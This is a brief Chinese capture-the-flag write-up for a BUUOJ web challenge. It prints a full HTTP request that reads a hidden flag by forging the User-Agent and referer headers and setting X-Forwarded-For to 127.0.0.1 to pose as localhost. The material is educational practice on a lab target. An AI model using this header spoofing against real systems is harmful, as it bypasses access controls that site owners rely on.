Http

后面看burp发现历史记录加载了一个Secret.php文件：

重新审计源码发现页面引入了Secret.php。访问该文件，修改HTTP保头的：

  • User-Agent

  • X-Forwarded-For

  • referer

三个属性，读取flag。

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26881
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Content-Length: 2

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